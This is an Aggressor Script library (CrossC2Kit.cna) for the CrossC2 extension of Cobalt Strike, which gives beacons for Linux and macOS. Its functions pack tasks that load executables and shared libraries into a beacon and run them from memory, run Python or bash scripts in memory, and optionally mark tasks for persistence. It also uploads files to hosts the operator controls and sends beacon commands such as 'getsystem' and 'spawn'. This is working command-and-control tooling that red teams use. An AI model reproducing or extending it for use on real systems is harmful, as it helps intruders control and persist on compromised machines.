CrossC2Kit.cna

sub random_string {
    # <3 @offsec_ginger
    $limit = $1;
    @random_str = @();
    $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    for ($x = 0; $x < $limit; $x++) {
        $n = rand(strlen($characters));
        add(@random_str, charAt($characters, $n));
    }
    return join('', @random_str);
}

sub runType {
    $type = lc($1);
    if ($type eq "elf" || $type eq "macho" || $type eq "elf/macho") {
        return "0";
    } else if ($type eq "so" || $type eq "dylib" || $type eq "so/dylib") {
        return "1";
    }
    return -1;
}



sub genTaskinfo_dyn {
    $taskType = $1;
    $taskAliasName = $2;
    $taskResType = $3;
    $taskNeedRun = lc($4);
    if ($taskNeedRun eq "y" || $taskNeedRun eq "yes") {
        $taskNeedRun = "Y";
    } else {
        $taskNeedRun = "N";
    }
    $taskNeedPersistence = lc($5);
    if ($taskNeedPersistence eq "y" || $taskNeedPersistence eq "yes") {
        $taskAliasName = $taskAliasName . "\$\$";
    }
    $taskXorKey = $6;
    $juicySize = $7;
    $transportArg = $8;

    $taskName = random_string(8);

    if ($taskResType eq "no-info") {
        $taskResType = "98765";
    }

    
    $taskinfo = "CrossC2@^" . $taskType . "^" . $taskNeedRun . "^". $taskName . "^". $taskAliasName . "^" . $taskResType . "^" . $juicySize . "^" . $transportArg;
    return $taskinfo;
}


sub genMemScriptInfo {
    $scriptType = $1;
    $scriptEngPath = $2;
    $taskResType = $3;
    $juicySize = $4;
    $transportArg = $5;
    
    $taskinfo = "CC2-PyScript^" . $scriptType . "^". $scriptEngPath . "^" . $taskResType . "^" . $juicySize . "^" . $transportArg;
    return $taskinfo;
}

sub scriptArgsHook {
    local('$scriptType @args $hook_header');
    $scriptType = $1;
    @args = $2;
    $hook_header = "";

    if ($scriptType eq "python") {
        $hook_header = "import sys\nsys.argv=[";
        foreach $index => $value (@args) {
            $hook_header = $hook_header."'".$value."',";
        }
        $hook_header = $hook_header.']';
    } else if ($scriptType eq "zsh") {
        $hook_header = "";
        foreach $index => $value (@args) {
            $hook_header = $hook_header.$index."=\"".$value."\"\n";
        }
    } else if ($scriptType eq "bash") {
        $hook_header = "set -- ";
        foreach $index => $value (@args) {
            if ($index == 0) {
                continue;
            }
            # $hook_header = $hook_header."BASH_ARGV".$index."=\"".$value."\"\n";
            $hook_header = $hook_header."\"".$value."\" ";
        }
    } else if ($scriptType eq "perl") {

    } else if ($scriptType eq "ruby") {
        
    } else if ($scriptType eq "php") {
        
    }
    $hook_header = $hook_header."\n";
    # println($hook_header);

    return $hook_header;
}

sub transportArg {
    $arg = "";
    foreach $index => $value (@_) {
        if ($index != 0) {
            $arg = $arg . "^" .$value;
        }
    }
    return base64_encode($arg);
}

sub transportArgs {
    $afterIndex = int($1) - 1;
    $arg = "";
    foreach $index => $value ($2) {
        if ($index > $afterIndex) {
            if ($arg eq "") {
                $arg = $value;
            } else {
                $arg = $arg . "^" .$value;
            }
        }
    }
    return base64_encode($arg);
}

sub transportArgsArray {
    $afterIndex = int($1) - 1;
    @arg = @();
    foreach $index => $value ($2) {
        if ($index > $afterIndex) {
            push(@arg,$value);
        }
    }
    return @arg;
}


sub transportStrings {
    $afterIndex = int($1) - 1;
    $arg = "";
    $flag = 1;
    foreach $index => $value ($2) {
        if ($index > $afterIndex+1) {
            if ($flag == 1) {
                $arg = $arg.$value;
                $flag = 0;
            } else {
                $arg = $arg." ".$value;
            }
        }
    }
    return $arg;
}

sub bcrossc2_load_dyn_pro {
    local('$beaconid $taskType $taskName $taskResType $taskNeedRun $taskNeedPersistence $taskXorKey $loadFileName $taskArgs');
    local('$loadFilePath $juicySize $handle $juicyData $ELFName');
    $beaconid = $1;
    $taskType = $2;
    $taskName = $3;
    $taskResType = $4;
    $taskNeedRun = $5;
    $taskNeedPersistence = $6;
    $taskXorKey = $7;
    $loadFileName = $8;
    $taskArgs = $9;

    $loadFilePath = script_resource($loadFileName);
    $juicySize = lof(script_resource($loadFileName));
    if ($juicySize <= 0) {
        $loadFilePath = $loadFileName;
    }

    $handle = openf($loadFilePath);
    $juicyData = readb($handle, -1);
    closef($handle);

    $juicySize = lof($loadFilePath);
    $taskType = runType($taskType);
    if ($taskType == -1) {
        berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
    }
    $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $juicySize, $taskArgs);
    bupload_raw!($beaconid,$ELFName,$juicyData);
}

sub bcrossc2_load_dyn {
    $beaconid = $1;
    $taskType = $2;
    $taskName = $3;
    $taskResType = $4;
    $taskNeedRun = "Y";
    $taskNeedPersistence = "N";
    $taskXorKey = "2";
    $loadFileName = $5;
    $taskArgs = base64_encode($6);

    $loadFilePath = script_resource($loadFileName);
    $juicySize = lof(script_resource($loadFileName));
    if ($juicySize <= 0) {
        $loadFilePath = $loadFileName;
    }

    $handle = openf($loadFilePath);
    $juicyData = readb($handle, -1);
    closef($handle);

    $juicySize = lof($loadFilePath);
    $taskType = runType($taskType);
    if ($taskType == -1) {
        berror($beaconid, "[ CrossC2 ]: dynamic lib or executable filetype not found");
    }
    $ELFName = genTaskinfo_dyn($taskType, $taskName, $taskResType, $taskNeedRun, $taskNeedPersistence, $taskXorKey, $juicySize, $taskArgs);
    bupload_raw!($beaconid,$ELFName,$juicyData);
}

sub brun_script_in_mem {
    $beaconid = $1;
    $scriptType = $2;
    $scriptEngPath = $3;
    $taskResType = $4;
    $loadFileName = $5;
    @taskArgs = $6;

    $loadFilePath = script_resource($loadFileName);
    $juicySize = lof(script_resource($loadFileName));
    if ($juicySize <= 0) {
        $loadFilePath = $loadFileName;
    }

    $handle = openf($loadFileName);
    $juicyData = readb($handle, -1);
    closef($handle);

    $juicySize = lof($loadFileName);

    $scriptName = genMemScriptInfo($scriptType, $scriptEngPath, $taskResType, $juicySize, "");
    # blog($beaconid, "[brun_script_in_mem]: args = ".@taskArgs);

    $header = scriptArgsHook($scriptType, @taskArgs);

    bupload_raw!($beaconid,$scriptName,$header.$juicyData);
}


sub CrossC2MemScriptEng {
    $taskResType = $2; # info -> normal message

    $beaconid = $3[0];
    $scriptType = $1;
    $scriptEnginePath = 'null';

    $contentType = $3[1];
    $scriptLocalPath = $3[1];
    $transportArg = $3[1];

    $juicySize = lof($scriptLocalPath);
    if ($juicySize == 0) {
        $scriptLocalPath = "cc2_".$scriptType."_".random_string(6);
        $transportArg = 'null';
        $data = transportStrings(1, $3);
        $out = openf(">" . $scriptLocalPath);          
        writeb($out, $data);
        closef($out);
        brun_script_in_mem($beaconid, $scriptType, $scriptEnginePath, $taskResType, $scriptLocalPath, @());
        deleteFile($scriptLocalPath);
    } else {
        @args = transportArgsArray(2, $3);
        $pathIndex = lindexOf($scriptLocalPath, '/');
        $pathIndex += 1;
        $filename = substr($scriptLocalPath, $pathIndex);
        add(@args, $filename);
        blog($beaconid, "[cc2_memScript]: ".@args);
        brun_script_in_mem($beaconid, $scriptType, $scriptEnginePath, $taskResType, $scriptLocalPath, @args);
    }

}

sub bset_metadata {
    local('$beaconid $metadata_key $metadata_value');
    $bid = $1;
    $metadata_key = $2;
    $metadata_value = $3;

    binput($bid, "$metadata_key $metadata_value");
    bshell($bid, "$metadata_key $metadata_value");
}

sub bsetostype {
    local('$bid $ostype');
    $bid = $1;
    $ostype = $2;

    bset_metadata($bid, "setostype", $ostype);
}

sub bsetlocalip {
    local('$bid $localip');
    $bid = $1;
    $localip = $2;

    bset_metadata($bid, "setlocalip", $localip);
}

sub bsethostname {
    local('$bid $hostname');
    $bid = $1;
    $hostname = $2;

    bset_metadata($bid, "sethostname", $hostname);
}

sub bcc2_setenv {
    if($1 && $2 && $3){
        binput($1, "shell setenv $2 $3");
        bshell($1, "setenv $2 $3");
    } else {
        berror($1, "*[error]: setenv env_name env_value");
    }
}

sub bcc2_unsetenv {
    if($1 && $2) {
        binput($1, "shell unsetenv $2");
        bshell($1, "unsetenv $2");
    } else {
        berror($1, "*[error]: unsetenv env_name");
    }
}

sub bcc2_spawn {
    binput($1, "shell spawn");
    bshell($1, "spawn");
}

sub bcc2_getsystem {
    binput($1, "shell getsystem");
    bshell($1, "getsystem");
}

@fileupload_list = @();
global(@fileupload_list);
sub bawait_upload {
    local('$bid $file_lpath $file_rpath $file_rname $file_data $file_size $cb $handle $file_list_count');
    $bid = $1;
    $file_lpath = $2;
    $file_rpath = $3;
    $file_rname = $4;
    $cb = $5;
    $cb_args = $6;
    $handle = openf($file_lpath);
    $file_data = readb($handle, -1);
    closef($handle);
    $file_size = lof($file_lpath);

    btask($bid, 'upload file '.$file_lpath.' to '.$file_rpath.$file_rname);

    $file_list_count = size(@fileupload_list);
    add(@fileupload_list, @($bid, $file_lpath, $file_rpath, $file_rname, $file_size, $cb, $cb_args, 'false' 'false'));
    bupload_raw!($bid, $file_rpath.'/'.$file_rname, $file_data);
}

sub bawait_upload_raw {
    local('$bid $file_lpath $file_rpath $file_rname $file_data $file_size $cb $handle $file_list_count');
    $bid = $1;
    $file_data = $2;
    $file_rpath = $3;
    $file_rname = $4;
    $cb = $5;
    $cb_args = $6;
    $file_size = strlen($file_data);
    $file_lpath = random_string(10);

    btask($bid, 'upload rawData file-['.$file_lpath.'] to '.$file_rpath.$file_rname);

    $file_list_count = size(@fileupload_list);
    add(@fileupload_list, @($bid, $file_lpath, $file_rpath, $file_rname, $file_size, $cb, $cb_args, 'false' 'false'));
    bupload_raw!($bid, $file_rpath.'/'.$file_rname, $file_data);
}

sub bcheck_file_size {
    this('$bid $file_path $file_name $file_size $realsize $name $temp $f_rname $f_match_size ');
    $bid = $1;
    $file_path = $2;
    $file_name = $3;
    $file_size = $4;

    bls($bid, $file_path, lambda({
            this('@lines @subl $type $s $lastmod $name');
            this('$file_name $file_size $realsize $f_key $f_value $f_rname')
            @lines = split("\n", ["$3" trim]);
            @subl = sublist(@lines, 1);
            foreach $temp (@subl) {
                ($type, $s, $lastmod, $name) = split("\t", $temp);
                if ($name eq $file_name) {
                    $realsize = long($s);
                    if ($realsize >= $file_size) {
                        foreach $f_key => $f_value (@fileupload_list) {
                            $f_rname = $f_value[3];
                            if ($name eq $f_rname) {
                                @fileupload_list[$f_key][7] = 'true';
                                break;
                            }
                        }
                    }
                    break;
                }
            }
        }, $file_name => $file_name, $file_size => $file_size)
    );
}
on heartbeat_1s {
    local('$f_key $f_value $f_bid $f_lpath $f_rpath $f_rname $f_size $f_func $f_match_size');
	if (size(@fileupload_list) > 0) {
		foreach $f_key => $f_value (@fileupload_list) {
            $f_bid = $f_value[0];
            $f_lpath = $f_value[1];
            $f_rpath = $f_value[2];
            $f_rname = $f_value[3];
            $f_size = $f_value[4];
            $f_cb = $f_value[5];
            $f_cb_args = $f_value[6];
            $f_match_size = $f_value[7];
            $f_cb_runed = $f_value[8];

            if ($f_match_size eq 'false') {
                bcheck_file_size($f_bid, $f_rpath, $f_rname, $f_size);
            }
            if ($f_match_size eq 'true') {
                if ($f_cb_runed eq 'false') {
                    @fileupload_list[$f_key][8] = 'true';
                    [$f_cb: $f_bid, $f_cb_args];
                    break;
                }
            }
        }
        foreach $f_key => $f_value (@fileupload_list) {
            $f_match_size = $f_value[7];
            if ($f_match_size eq 'true') {
                removeAt(@fileupload_list, int($f_key));
                break;
            }
        }
	}
}

ssh_alias list_uploadingFile {
    println(@fileupload_list);
    $bid = $1;
    local('$f_key $f_value $f_bid $f_lpath $f_rpath $f_rname $f_size $f_func $f_match_size');
    if (size(@fileupload_list) > 0) {
        foreach $f_key => $f_value (@fileupload_list) {
            $f_bid = $f_value[0];
            $f_lpath = $f_value[1];
            $f_rpath = $f_value[2];
            $f_rname = $f_value[3];
            $f_size = $f_value[4];
            $f_cb = $f_value[5];
            $f_cb_args = $f_value[6];
            $f_match_size = $f_value[7];
            $f_cb_runed = $f_value[8];
            blog($bid, $f_lpath);
        }
    }
}

sub getCrossC2Site {
    local('%beacon_site $beacon_count $Description, $Proto, $Host, $Port, $URI');
    %beacon_site = %();
    $beacon_count = 0;
    foreach $site_list(sites()) {
        ($Description, $Proto, $Host, $Port, $URI) = values($site_list, @('Description', 'Proto', 'Host', 'Port', 'URI'));
        if ("CrossC2" isin $Description) {
            $beaconURL = $Proto.$Host.':'.$Port.$URI;
            # 返回beacon_uri & beacon_description
            %beacon_site[$beacon_count] = @($Description, $beaconURL);
            $beacon_count += 1;
        }
    }
    return %beacon_site;
}

sub getCrossC2Listener {
    local('%beacon_listener $beacon_count');
    %beacon_listener = %();
    $beacon_count = 0;
    foreach $listener(listeners_local()) {
        if ("CrossC2" isin $listener) {
            %beacon_listener[$beacon_count] = @($listener);
            $beacon_count += 1;
        }
    }
    return %beacon_listener;
}

sub getSSHSession {
    local('%sessionMap $sessionCount');
    %sessionMap = %();
    $sessionCount = 0;
    foreach $beacon (beacons()) {
        ($internal, $computer) = values($beacon, @('internal', 'computer'));
        $tempMenuBar = $internal."@".$computer;
        if (!-isactive $beacon['id']) {
        } else if (-isssh $beacon['id']) {
            %sessionMap[$sessionCount] = @($tempMenuBar);
            $sessionCount += 1;
        }
    }
    return %sessionMap;
}

sub getCrossC2Beacon {
    local('$listener $type $beaconData');
    $listener = $1;
    $type = $2;

    $beaconData = $null;
    if ($listener && $type) {
        if ($type eq 'lib') {
            $beaconData = listener_info($listener)['CrossC2libBeacon'];
        } else if ($type eq 'main') {
            $beaconData = listener_info($listener)['CrossC2Beacon'];
        }
    }
    return $beaconData;
}